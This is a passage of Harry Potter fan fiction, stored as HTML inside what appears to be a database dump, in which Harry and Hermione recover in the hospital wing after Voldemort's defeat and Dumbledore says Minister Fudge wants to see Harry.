came us to caress her cheek.&nbsp; Even though she\nwas bruised and beaten up, her skin was still as soft as a feather.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nslowly awakened to feel someone touching her face lovingly.&nbsp; Only one\nperson knew how she liked to be touched &#8211; Harry.&nbsp; Opening her eyes, she\nfound his beautiful, emerald pools shining down at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey,&#8221;\nhe said with a small smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sweetheart,\nI&#8217;m so sorry,&#8221; Harry said, and he cupped her cheek.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nHarry, it wasn&#8217;t your fault,&#8221; Hermione sighed and nuzzled his hand.&nbsp; Ron\npicked this as an opportune time to leave them be.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione&#8230;&#8221;\nHarry&#8217;s arms came around her, and he hugged her softly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ouch!&#8221;\nthey both said at the same time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nshould let you go.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No!&#8221;\nshe objected, &#8220;Please don&#8217;t.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nI&#8217;m hurting you, Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ndon&#8217;t care, Harry, just hold me.&nbsp; I&#8217;ve missed being in your arms.&#8221; He\ncouldn&#8217;t say no to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nclutched her to his chest and buried his face in her brown curls.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nlove you so much,&#8221; he said almost desperately.&nbsp; She cupped his face in her\nhands.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nlove you too.&#8221; She looked into his eyes and saw them moisten.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nyou&#8217;re crying!&#8221; A single tear slid down his cheek&#8230;and then other and other.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nknow, I&#8217;m just&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nyou never cry,&#8221; she interrupted.&nbsp; Harry finally broke down, and the\nfloodgates opened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nsorry, Herm, it&#8217;s just that&#8230;when I saw you get hurt&#8230;and then cry out in pain&#8230;I\njust wanted to crawl into a hole and die.&nbsp; I made a promise to myself and\nto you.&nbsp; I swore that I wouldn&#8217;t let you get hurt, but you did anyway.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nHarry, nobody&#8217;s perfect, we&#8217;re together now.&nbsp; That&#8217;s all that matters.&#8221; He\nclutched her in his arms, and she buried her face in his chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Voldemort\nis finished, Hermione, he&#8217;ll never hurt us or anyone ever again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nknow, my love, I know.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nlifted her chin and laid a gentle kiss on her lips.&nbsp; Hermione could taste\nthe salt of his tears on his lips, but it didn&#8217;t matter to her.&nbsp; She felt\na strange sensation in the pit of her stomach.&nbsp; The pain that was in her\nmuscles and bones began to disappear, and she could sense magic in the air.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nwhat did you just do?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ndidn&#8217;t do anything.&nbsp; Why?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My\npain is almost gone,&#8221; Hermione said in astonishment.&nbsp; She wiped the\ntearstains from his cheeks, and something clicked in her mind.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\nit &#8211; your tears.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nabout them?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nyou remember, Harry, a phoenix&#8217;s tears contain great healing power?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nyeah, you&#8217;re right&#8230;hey, wait a minute!&#8221; Harry gulped.&nbsp; Had he just heard\nher mention the phoenix?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione,\nwhat did you just say?&#8221; She smiled at him tenderly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nI know&#8230;about Gemstar&#8230; and the power you possess.&nbsp; Professor Dumbledore\ntold me a few months after you left.&nbsp; He felt that I deserved to know.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nsorry that I didn&#8217;t tell you, Herm, but I made him a promise that I wouldn&#8217;t\ntell anyone.&nbsp; It was part of our plan.&nbsp; Forgive me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Kiss\nme again, and I&#8217;ll think about it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;With\npleasure, sweetheart.&#8221; Harry took her mouth greedily, and their tongues fought\na long awaited duel with one another.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\ngroaned slightly, and Harry let her go.&nbsp; Healing magic or no healing\nmagic, their bodies still needed time to recuperate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We\nbetter get some rest, Herm.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Stay\nwith me?&#8221; Her eyes pleaded with him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nknow I can&#8217;t say no to you when you look at me like that!&#8221; That brought a wide\ngrin to Hermione&#8217;s lips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nknow, Harry, I know.&#8221; She giggled softly and moved over.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nslipped under the covers, and Hermione practically fell into his arms.&nbsp;\nShe laid her head on his chest and sighed contently.&nbsp; His fingers combed\nthrough her long, brown locks, and Hermione purred softly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sweet\ndreams, Harry.&#8221; He chuckled at her choice of words and kissed her head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nplan to have very sweet dreams&#8230;of you,&#8221; he teased, and she smacked his chest\nplayfully.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\nthen, I guess you won&#8217;t mind if I dream of you too.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not\nat all, Herm.&nbsp; Who knows?&nbsp; Maybe we&#8217;ll have the same dream?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Goodnight,\nmy love.&#8221; Hermione snuggled into his warmth, and Harry clutched her tightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Goodnight,\nsweetheart.&#8221; Their eyes slowly closed eyes, and the two teenagers were asleep\nwithin the next five minutes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 18, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nyawned softly and groggily opened his eyes.&nbsp; Yawning once more, he looked\ndown beside him to see that Hermione was still asleep on his chest.&nbsp;\nSmiling warmly, he ran his fingers over her delicate cheek, and she turned into\nhis palm.&nbsp; Let out a soft sigh, Hermione smiled and settled back to\nsleep.&nbsp; With great reluctance, Harry unwrapped his arms from his lover,\nand he slid out of bed.&nbsp; His legs were still a little stiff, but it was\neasier to walk this morning.&nbsp; The door opened, and Ron and Lavender entered\nquietly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nRon said quite loudly, and Lavender shushed him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Quiet\nyou!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hi\nguys.&#8221; Harry padded over to them, and Ron practically squeezed the life out of\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Welcome\nback!&#8221; he shouted in a whisper. &#8220;How ya feeling?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nokay &#8211; just a little sore from the battle and everything.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Damn\nHarry, you rocked out there!&nbsp; I don&#8217;t know what in bloody hell you did,\nbut you kicked Voldemort&#8217;s scaly butt!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Is\nHermione up yet?&#8221; Lavender inquired looking around for her roommate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nshe&#8217;s still asleep; it&#8217;s the best thing for her right now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All\nright, these are for her.&#8221; Lavender handed her a pile of clothes. &#8220;I figured\nshe&#8217;d want some fresh clothes later on.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks\nLavender, I know she&#8217;ll appreciate this,&#8221; Harry answered with a warm smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nyeah, that reminds me, Harry, your things&#8230;&#8221; It was then that Harry Potter\nfinally realized that he was in fact only wearing a hospital gown.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My\nclothes!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nworry, you&#8217;ll be all right.&nbsp; They were pretty torn up so Dobby volunteered\nto fix them for you; they should be done in about an hour.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Tell\nhim thanks for me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Just\nthen&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry?&#8221;\na soft voice called out.&nbsp; Walking back to the bed, Harry sat down next to\na just-awakening Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Good\nmorning,&#8221; Harry whispered and brushed her hair out of her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hi,&#8221;\nshe answered quietly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey\nHerm!&#8221; Ron called and popped out from behind a nearby curtain.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey\ngirl, what&#8217;s up?&#8221; Lavender added as her head jutted out from around Ron&#8217;s right\nshoulder.&nbsp; Hermione smiled at her friends.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hi\nguys, I&#8217;m glad to see you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So\nare we.&nbsp; We were worried about you; you were really banged up yesterday!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nknow, I&#8217;ve got the bruises to prove it!&#8221; Harry moved onto the bed and wrapped\nher in his arms. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nthen again, I&#8217;ve got the best cure for aches and pains right here,&#8221; and she\nnuzzled Harry&#8217;s neck playfully.&nbsp; He chuckled lightly, and Ron grinned\nwryly at the two of them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Jeez,\nyou two, not even twenty-four hours and you&#8217;re already making out!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nbeg your pardon!&#8221; Harry interjected, &#8220;This is not making out&#8230;this is called\ntender loving care!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And\nI love it!&#8221; Hermione cooed happily and put her head on his chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\ntwo will never change!&#8221; Lavender giggled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Am\nI interrupting?&#8221; Dumbledore interjected.&nbsp; All four teenagers gasped in\nshock.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor?&#8221;\nRon gulped audibly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sir,\nare you feeling better?&#8221; Harry asked worriedly.&nbsp; Dumbledore smiled a\ntoothy grin at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Come\nnow, my boy, I may be old, but I&#8217;ve still got my spunk!&nbsp; I see that you&#8217;re\ndoing better as well, Miss Granger.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,\nProfessor Dumbledore, I think I&#8217;ll be well in time for final exams.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Relax,\nmy dear, don&#8217;t push yourself.&nbsp; You were hurt very badly; you should let\nyour body recuperate.&nbsp; In the meantime, Harry?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nsir?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;If\nyou feel up to it, Minister Fudge wishes to speak with you &#8211; privately.&#8221; Harry\nfelt his mouth turn dry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll\nbe ready in an hour, professor.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Very\nwell, come to my office when you&#8217;re ready.&#8221; With that, the wise, old wizard\nleft the hospital wing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nare you nuts?&nbsp; Do you remember what Fudge did to you last time?&#8221; Ron\nshouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Of\ncourse, I do, but I can&#8217;t just blow him off.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Maybe\nhe&#8217;ll congratulate you for destroying Voldemort!&#8221; Lavender piped up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah\nright, Fudge will properly come up with a story for the Daily Prophet saying\nthat it wasn&#8217;t really You-Know-Who who attacked Hogwarts, and that a Ministry\ntask force of Aurors defeated the last remnants of the Death Eaters.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nhighly doubt that, Ron,&#8221; Hermione interjected, &#8220;It&#8217;d be impossible for him to\nprove it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\ndo you mean?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;There\nwere over a thousand witnesses that saw Harry fight him, right?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\nright, Herm, Lavender and I saw the whole thing.&nbsp; You should have seen\nit!&nbsp; This giant firebird exploded from Harry&#8217;s body and fried the bastard\nto a cinder.&#8221;</p>\n\n<p 